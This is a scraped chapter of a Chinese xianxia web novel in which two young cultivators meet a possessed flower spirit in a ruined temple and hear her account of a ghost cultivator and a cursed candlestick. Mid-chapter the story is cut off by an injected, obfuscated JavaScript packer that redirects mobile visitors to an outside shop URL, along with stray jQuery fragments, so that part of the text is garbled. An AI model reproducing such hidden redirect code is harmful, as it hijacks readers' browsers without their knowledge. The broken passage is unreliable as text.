文趣网 > 其他小说 > 剑上覆雪四寸 > 2. 青衣庙
    这是阮清洱死后的第十七个年头。

    “这里已经是穹桑地界了,离大荒十万八千里远。”

    说话的人倚着窗沿,负剑而立,一身黑色劲装被雨雾洇出深色。

    殿里只供着一尊神像,金箔剥落了大半,露出底下斑驳的白瓷。

    神座前是一池莲花灯,烛火微明,恍惚间映得水面如一面铜镜。

    “一只刚生出灵脉的小花妖,”他蹲下身描摹着大殿中央藤蔓一般的阵法纹路,“还能祭出引魂阵,本事倒不小。”

    莲池前,另一位手执罗盘的少年沉声道:“我们一路追过来,已经十日有余。”

    “她身上仍负有大荒封印,又许久未披人皮,已经快不行了。”

    黑衣少年站起来,仔细打量着那座饱经风霜的神像。

    “所以她不想功亏一篑,选择来寻求玄衣使的庇护?”

    “不。”

    拿着罗盘的少年抹去落在神座上的一片金箔:“这是青衣的庙。”

    他顿了片刻,像是在确认什么,问道:“识年,你可曾听过‘莲花明灭逢雨下灯’?”

    谢识年想了想:“不过是讲神祇陨落四百年后,百姓为天道使者供香火。其中青衣使因一盏莲灯换一段因果而信众万千的故事?”

    “但如今青衣已死十七年。”他一脚朝门外踢飞一个石子,“就连当世卦修第一人,尉迟老儿,都算不出她的魂魄去了哪儿。”

    掌罗盘的少年走到池边,运灵力于掌心,汲出一捧莲池水:

    “既不在奈何桥边黄泉畔,亦不在阎罗地狱九重天,那便是仍在此间。”

    谢识年挑了挑眉:“十七年间,青衣留下的祭道符几乎被仙门各家烧完了。”

    他偏过头来看方临洲:“祭道符都召不来的护世使,古往今来,无一例外都死透了。”

    方临洲没回这话,将所御之水落入池中,烛火遇水不灭。

    他心下了然:“此处莲灯皆为冥火,那只小花妖,应当如愿以偿了。”

    “咚……”

    “咚咚……”

    庙身残破,外面还下着瓢泼大雨,油纸堪堪掩着窗子。

    阴风穿堂而过,殿门大开,片片纸钱飞过,带着几乎被潇潇雨声覆盖的细微声响。

    谢识年抬眼,指尖灵压按下一旁迫切不已要出鞘的掠生剑,背手画了一张驱鬼符。

    临了补一句:“如愿以偿有人大雨天到庙里来为她上坟么?”

    “她不顾大荒禁制,跑到临近桐兮泽的穹桑来,若是去就近的玄衣庙中并不见得会死。和引来之魂结缘,兴许是她自己的因果与选择。”

    方临洲从空中请来一片纸钱,落在莲灯的冥火上,示以安息。

    而纸钱却并未燃烧。

    只见空中飘洒的纸钱霎时皆汇于此,烛火也变幻成青色的焰火。

    “怎么回事?”

    “恐怕惹上了些麻烦。”

    剑已提,却见聚拢的那一处,火光中渐渐凝出一座烛台的轮廓。

    然后是极轻的金箔剥落声。

    那尊神像在借着黑暗微微吐息。

    “润下,三十六方,盘根水。”

    方临洲的术法先至。紧跟着一道凌厉的剑光,掠生破空而出,直指神座。

    剑悬在半空。

    谢识年扫了一眼空荡荡的神座,又看向控着盘根之水的方临洲:“神像呢?”

    随即不解问道:“……没控住?”

    方临洲输之坦然:“她的速度比我快一些。”

    “在这。”

    声音虚虚的,从莲池里冒出来。

    一条苍白纤细的胳膊趴上池岸,水珠顺着她的指尖滴落,在石板地上绽开深色的花。

    她身上的金箔被水泡掉了不少,本是一身白裙,此刻缀着碎金,颊面上也还贴着些。湿发贴着额角,露出一张清丽的面容。

    抬起头,正对上谢识年的剑锋。

    这黑衣少年居高临下,问:“你是神像,还是花妖?”

    少女摇头:“我只是附近莲花村中一户农家的女儿,名叫荷叶,被配了冥婚……”

    她澄澈的双眸落在眼前少年腰间的玉佩上:“两位少侠名门正派,能否为我做主?”

    说着,少女一指推着剑尖向旁边偏了偏,然后拿起一盏莲灯,走出池水。

    罗盘不为所动,掠生回鞘。

    她身上并无妖邪之气。

    谢识年皱着眉没说话。

    方临洲接道:“姑娘有何所求?”

    羽睫在眼下映出阴影,阮清洱微蜷了蜷指尖。

    ……有何所求?

    “求您解我身上大荒封印。求您替我杀一人。求您……帮我渡一魂。”

    小花妖跪拜在神像下,双手合十:“也许您并不记得我。”

    时隔十七年,在两位少年来此之前,阮清洱最先感知到的便是小花妖的祈愿声。

    水纹波澜,莲池中映着小花妖单薄的身影,看不清楚面容,可若仔细看便知:

    她并没有脸。

    五百年前神祇陨落之时,妖族悉数被封于大荒。

    小花妖是诞生于澈水群山中的一只荷花妖,不及百岁,后来才被封进去。

    也因人间灵气稀薄,修出灵识已是不易,而她化形不足,连五官都是模糊的。

    她按照禁书所写,供了三盏莲灯,灯芯经她本命妖丹淬炼,每一根都衔着魂魄。

    “但您曾对我说,若这张祭道符青光不灭,就是您还在。”

    小花妖将那张符护在心口,看向神像那双早已褪了彩绘的眼睛:

    “我愿意成为您在此间的存在。”

    三魂尽消,只留七魄于此无相之身。

    她愿归于虚无,永不入轮回。

    雨声渐歇,一滴水落入莲池。

    阮清洱垂眼看着水面,并非无脸,而是她魂魄进入这具身体后,显化出的本身的魂相。

    一如她十七岁时那般模样,不过额间那抹银纹被抹了去。

    闻眼前少年所问,她想起小花妖的三愿:解封,杀人,渡魂。

    第一件事,修为最低论起来也需至临仙境,皆为当世大能。

    若在十七年前,她修至天道之下第一人,自是不成问题的。

    只是……

    阮清洱试图燃起一团灵火熔断腕间化作细银链的天命锁,却只烧起一簇小火苗。

    九天为镇叛道者,是为天命锁。

    这锁链自死岛之战后便钉在她的魂上,致使如今灵脉被封,灵力滞涩,自灵根而生出的磅礴灵力尽数被困于丹田。

    虽说留得灵根在,不怕丹田烧,但阮清洱依旧觉得自己快炸了。

    好在小荷花天生地养,本身就在吸收天地日月精华,可以调用一部分外界现成的灵力,与内里灵力相对冲。

    少归少,但聊胜于无。

    而此时既有冥婚,那是杀人还是渡魂?

    阮清洱将一盏莲灯放在方才那座烛台上:“我求一人死。”

    “不知两位少侠能不能做到?”

    谢识年道:“你若真良善,我们自会考虑。”

    方临洲也示意:“姑娘请讲。”

    “约莫半年前,村里开始莫名不断有人家的孩子失踪。”阮清洱理着小花妖的记忆,“直到一个月前,一位云游的道姑途经此地,看出端倪。”

    她停了停,指尖摩挲着腕间那道银链:“很不巧

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891365|212752||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,那槐树在我家院中,而挖出的邪物是一盏烛台。”

    谢识年神色一沉:“烛台?”

    “对。”她莞尔一笑,“更不巧的是,那盏烛台是我的定情信物。”

    那道姑来时身着灰袍布鞋,斗笠遮面,腰间挂着一柄铜钱剑,绕着村走了一圈,便停在一颗老槐树下:“此处往下三尺,埋有一邪物。”

    烛台裹着血泥,刚一被掘出,祸事牵连的几户人家登时面色煞白。

    其中一名妇人手指头哆嗦着指向烛台,泣不成声:“这东西……我见过!就在荷叶那丫头手里!那日我去河边挑水,隔老远瞅见她蹲在自家墙根底下捣鼓啥,谁能想到她埋的是这种脏东西!”

    “这是报复、报复,要害了我们一整个莲花村啊!”

    妇人死死盯着门缝中露出的一双怯生生的眼睛,哭喊道:“让她出来,滚出来!”

    村长无奈摇了摇头,摆摆手让人把她送回去,赔礼道:“道长莫怪,这妇人前不久刚丢了孩子,害了心病,心神错乱,常说些疯言疯语,听不得。”

    老者慈眉善目,乐呵呵道:“更何况这祸常从口出,患常从口入呢,还是要学会避谶的好。”

    话音一落,村民们都静了下来,没人再敢看那盏烛台。

    道姑没接话,只凝灵御水,洗掉烛台上的血污,仔细端详上面刻的纹路。

    烛台为铜铸,以太极阴阳鱼为底,相较寻常矮了半寸,烛龙盘着台柱,刻有繁复的缠枝莲花纹。

    她面色如常,开口问:“这是从北域流落而来的阴器,最后出现是在一名鬼修手中,专为积养怨气修炼。村中可来过什么可疑的生人?”

    “生人?”老者捋了捋络腮胡,“莲花村倒是许久未来生人了。一年前倒是有过一位,也如道长一般,说要为我们除祟。”

    他叹了口气,感慨道:“到头来也不过是觊觎一盏烛台。”

    说到这里,老者话锋一转,笑了笑:“但如今烛台已出,我见道长方才施水术,亦有名门之姿,不似那等小人。”

    他面上笑意丝毫不减:“只是不知绕村查看之时,道长为何要趁机布下这镇魂钉?”

    见被拆穿,道姑正欲施术,却又听见老者说:“你就这么想让那名鬼修不得好死吗?”

    他的面庞与身形渐渐恢复少年人的英俊与挺拔,五枚镇魂钉在手中顷刻间化作齑粉:“阿姐,你欠我那么多,愿意替我死吗?”

    香案上纸钱所化的烛台盛着莲灯。

    谢识年沉默了一会儿:“所以那个村长?”

    “就是鬼修。”阮清洱答。

    “那烛台是这一盏?”谢识年眉峰沉了沉,掠生将其挑下,“既是定情信物,为什么埋进土里?”

    “因为那名鬼修呀,要与我成亲的就是他,引魂阵引的也是他,是他要我埋进土里的。我不想死,只好照他说的做了。”

    两位少年好整以暇地看着她:“然后呢?”

    “他告诉我,他被北域驱逐,只好带着这盏烛台四处逃亡,为收集怨气炼化烛台,本想把整个村里的人都杀光的。”

    “但他看见我后改了主意,要把我献给他的主上做炉鼎,以求饶恕。”

    方临洲欲言又止:“那为何……”

    “有人在追捕他,而且很厉害。他担心自己在劫难逃,便又改了主意,将村里的人都祭了烛台,要我与他成亲。”

    鬼修虽亦是人所修,但在其突破近旻境后,形态便已主要化为了魂魄。

    他想将活人炼成炉鼎并非易事,需一种关系作媒介,最简单的便属夫妻。

    方临洲问:“所以姑娘想他死?”

    “不对,猜错了。”少女淡淡否认,“我想你们死。”